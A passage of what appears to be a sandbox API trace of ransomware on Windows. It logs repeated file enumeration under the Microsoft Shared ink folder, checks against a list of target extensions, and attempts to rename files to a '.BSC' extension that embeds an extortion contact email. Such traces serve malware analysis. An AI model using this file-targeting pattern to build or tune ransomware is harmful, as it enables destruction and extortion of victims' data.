(lpString1=".doc", lpString2=".xml") returned -1 [0110.905] lstrlenW (lpString=".docx") returned 5 [0110.905] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0110.905] lstrlenW (lpString=".pdf") returned 4 [0110.905] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.905] lstrlenW (lpString=".xls") returned 4 [0110.905] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.905] lstrlenW (lpString=".xlsx") returned 5 [0110.905] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0110.905] lstrlenW (lpString=".ppt") returned 4 [0110.905] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0110.905] lstrlenW (lpString=".zip") returned 4 [0110.905] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.905] lstrlenW (lpString=".rar") returned 4 [0110.905] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.905] lstrlenW (lpString=".bz2") returned 4 [0110.905] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.905] lstrlenW (lpString=".7z") returned 3 [0110.906] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0110.906] lstrlenW (lpString=".dbf") returned 4 [0110.906] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0110.906] lstrlenW (lpString=".1cd") returned 4 [0110.906] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0110.906] lstrlenW (lpString=".jpg") returned 4 [0110.906] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.906] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0110.906] lstrlenW (lpString="zh-phonetic.xml") returned 15 [0110.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0111.371] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=10947) returned 1 [0111.371] CloseHandle (hObject=0x36c) returned 1 [0111.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0111.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0111.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0111.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0111.372] lstrlenW (lpString=".doc") returned 4 [0111.372] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.372] lstrlenW (lpString=".docx") returned 5 [0111.372] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0111.372] lstrlenW (lpString=".pdf") returned 4 [0111.372] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.372] lstrlenW (lpString=".xls") returned 4 [0111.372] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.372] lstrlenW (lpString=".xlsx") returned 5 [0111.372] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0111.372] lstrlenW (lpString=".ppt") returned 4 [0111.372] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0111.372] lstrlenW (lpString=".zip") returned 4 [0111.372] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.372] lstrlenW (lpString=".rar") returned 4 [0111.372] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.372] lstrlenW (lpString=".bz2") returned 4 [0111.373] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.373] lstrlenW (lpString=".7z") returned 3 [0111.373] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0111.373] lstrlenW (lpString=".dbf") returned 4 [0111.373] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0111.373] lstrlenW (lpString=".1cd") returned 4 [0111.373] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0111.373] lstrlenW (lpString=".jpg") returned 4 [0111.373] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0111.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0111.373] lstrlenW (lpString=".doc") returned 4 [0111.373] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.373] lstrlenW (lpString=".docx") returned 5 [0111.373] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0111.373] lstrlenW (lpString=".pdf") returned 4 [0111.373] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.373] lstrlenW (lpString=".xls") returned 4 [0111.373] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.373] lstrlenW (lpString=".xlsx") returned 5 [0111.373] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0111.373] lstrlenW (lpString=".ppt") returned 4 [0111.373] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0111.373] lstrlenW (lpString=".zip") returned 4 [0111.373] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.373] lstrlenW (lpString=".rar") returned 4 [0111.374] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.374] lstrlenW (lpString=".bz2") returned 4 [0111.374] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.374] lstrlenW (lpString=".7z") returned 3 [0111.374] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0111.374] lstrlenW (lpString=".dbf") returned 4 [0111.374] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0111.374] lstrlenW (lpString=".1cd") returned 4 [0111.374] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0111.374] lstrlenW (lpString=".jpg") returned 4 [0111.374] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.374] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0111.374] lstrlenW (lpString="oskclearui.xml") returned 14 [0111.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0114.202] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=221) returned 1 [0114.202] CloseHandle (hObject=0x34c) returned 1 [0114.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml")) returned 0x20 [0114.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0114.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0114.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0114.202] lstrlenW (lpString=".doc") returned 4 [0114.202] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.203] lstrlenW (lpString=".docx") returned 5 [0114.203] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0114.203] lstrlenW (lpString=".pdf") returned 4 [0114.203] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.203] lstrlenW (lpString=".xls") returned 4 [0114.203] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.203] lstrlenW (lpString=".xlsx") returned 5 [0114.203] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0114.203] lstrlenW (lpString=".ppt") returned 4 [0114.203] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0114.203] lstrlenW (lpString=".zip") returned 4 [0114.203] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.203] lstrlenW (lpString=".rar") returned 4 [0114.203] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.203] lstrlenW (lpString=".bz2") returned 4 [0114.203] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.203] lstrlenW (lpString=".7z") returned 3 [0114.203] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0114.203] lstrlenW (lpString=".dbf") returned 4 [0114.203] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0114.203] lstrlenW (lpString=".1cd") returned 4 [0114.203] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0114.203] lstrlenW (lpString=".jpg") returned 4 [0114.204] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0114.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0114.204] lstrlenW (lpString=".doc") returned 4 [0114.204] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.204] lstrlenW (lpString=".docx") returned 5 [0114.204] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0114.204] lstrlenW (lpString=".pdf") returned 4 [0114.204] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.204] lstrlenW (lpString=".xls") returned 4 [0114.204] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.204] lstrlenW (lpString=".xlsx") returned 5 [0114.204] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0114.204] lstrlenW (lpString=".ppt") returned 4 [0114.204] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0114.204] lstrlenW (lpString=".zip") returned 4 [0114.204] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.204] lstrlenW (lpString=".rar") returned 4 [0114.204] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.204] lstrlenW (lpString=".bz2") returned 4 [0114.204] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.204] lstrlenW (lpString=".7z") returned 3 [0114.204] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0114.204] lstrlenW (lpString=".dbf") returned 4 [0114.205] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0114.205] lstrlenW (lpString=".1cd") returned 4 [0114.205] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0114.205] lstrlenW (lpString=".jpg") returned 4 [0114.205] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.205] lstrcmpiW (lpString1=".dat", lpString2=".BSC") returned 1 [0114.205] lstrlenW (lpString="hwrusash.dat") returned 12 [0114.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0114.427] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=3380096) returned 1 [0114.427] CloseHandle (hObject=0x2f4) returned 1 [0114.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0114.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0114.475] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[basecrypt@aol.com].bsc")) returned 0 [0114.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0114.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0114.478] lstrlenW (lpString=".doc") returned 4 [0114.478] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0114.478] lstrlenW (lpString=".docx") returned 5 [0114.478] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0114.478] lstrlenW (lpString=".pdf") returned 4 [0114.478] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0114.478] lstrlenW (lpString=".xls") returned 4 [0114.478] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0114.478] lstrlenW (lpString=".xlsx") returned 5 [0114.478] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0114.478] lstrlenW (lpString=".ppt") returned 4 [0114.478] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0114.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0114.478] lstrlenW (lpString=".zip") returned 4 [0114.478] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0114.478] lstrlenW (lpString=".rar") returned 4 [0114.478] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0114.478] lstrlenW (lpString=".bz2") returned 4 [0114.478] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0114.479] lstrlenW (lpString=".7z") returned 3 [0114.479] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0114.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0114.479] lstrlenW (lpString=".dbf") returned 4 [0114.479] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0114.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0114.479] lstrlenW (lpString=".1cd") returned 4 [0114.479] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0114.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0114.479] lstrlenW (lpString=".jpg") returned 4 [0114.479] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0114.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0114.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0114.479] lstrlenW (lpString=".doc") returned 4 [0114.479] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0114.479] lstrlenW (lpString=".docx") returned 5 [0114.479] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0114.479] lstrlenW (lpString=".pdf") returned 4 [0114.479] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0114.479] lstrlenW (lpString=".xls") returned 4 [0114.479] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0114.479] lstrlenW (lpString=".xlsx") returned 5 [0114.479] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0114.479] lstrlenW (lpString=".ppt") returned 4 [0114.479] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0114.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0114.479] lstrlenW (lpString=".zip") returned 4 [0114.480] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0114.480] lstrlenW (lpString=".rar") returned 4 [0114.480] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0114.480] lstrlenW (lpString=".bz2") returned 4 [0114.480] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0114.480] lstrlenW (lpString=".7z") returned 3 [0114.480] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0114.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0114.480] lstrlenW (lpString=".dbf") returned 4 [0114.480] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0114.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0114.480] lstrlenW (lpString=".1cd") returned 4 [0114.480] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0114.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0114.480] lstrlenW (lpString=".jpg") returned 4 [0114.480] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0114.480] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0114.480] lstrlenW (lpString="ipscht.xml") returned 10 [0114.480] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0114.596] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=2436) returned 1 [0114.596] CloseHandle (hObject=0x358) returned 1 [0114.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0114.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0114.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0114.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0114.597] lstrlenW (lpString=".doc") returned 4 [0114.597] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.597] lstrlenW (lpString=".docx") returned 5 [0114.597] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0114.597] lstrlenW (lpString=".pdf") returned 4 [0114.597] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.597] lstrlenW (lpString=".xls") returned 4 [0114.597] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.597] lstrlenW (lpString=".xlsx") returned 5 [0114.598] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0114.598] lstrlenW (lpString=".ppt") returned 4 [0114.598] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0114.598] lstrlenW (lpString=".zip") returned 4 [0114.598] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.598] lstrlenW (lpString=".rar") returned 4 [0114.598] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.598] lstrlenW (lpString=".bz2") returned 4 [0114.598] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.598] lstrlenW (lpString=".7z") returned 3 [0114.598] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0114.598] lstrlenW (lpString=".dbf") returned 4 [0114.598] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0114.598] lstrlenW (lpString=".1cd") returned 4 [0114.598] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0114.598] lstrlenW (lpString=".jpg") returned 4 [0114.598] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0114.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0114.598] lstrlenW (lpString=".doc") returned 4 [0114.598] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.599] lstrlenW (lpString=".docx") returned 5 [0114.599] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0114.599] lstrlenW (lpString=".pdf") returned 4 [0114.599] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.599] lstrlenW (lpString=".xls") returned 4 [0114.599] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.599] lstrlenW (lpString=".xlsx") returned 5 [0114.599] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0114.599] lstrlenW (lpString=".ppt") returned 4 [0114.599] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0114.599] lstrlenW (lpString=".zip") returned 4 [0114.599] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.599] lstrlenW (lpString=".rar") returned 4 [0114.599] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.599] lstrlenW (lpString=".bz2") returned 4 [0114.599] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.599] lstrlenW (lpString=".7z") returned 3 [0114.599] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0114.599] lstrlenW (lpString=".dbf") returned 4 [0114.599] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0114.599] lstrlenW (lpString=".1cd") returned 4 [0114.599] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0114.602] lstrlenW (lpString=".jpg") returned 4 [0114.602] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.602] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0114.602] lstrlenW (lpString="ipsel.xml") returned 9 [0114.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0117.255] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=2618) returned 1 [0117.255] CloseHandle (hObject=0x310) returned 1 [0117.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20 [0117.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft 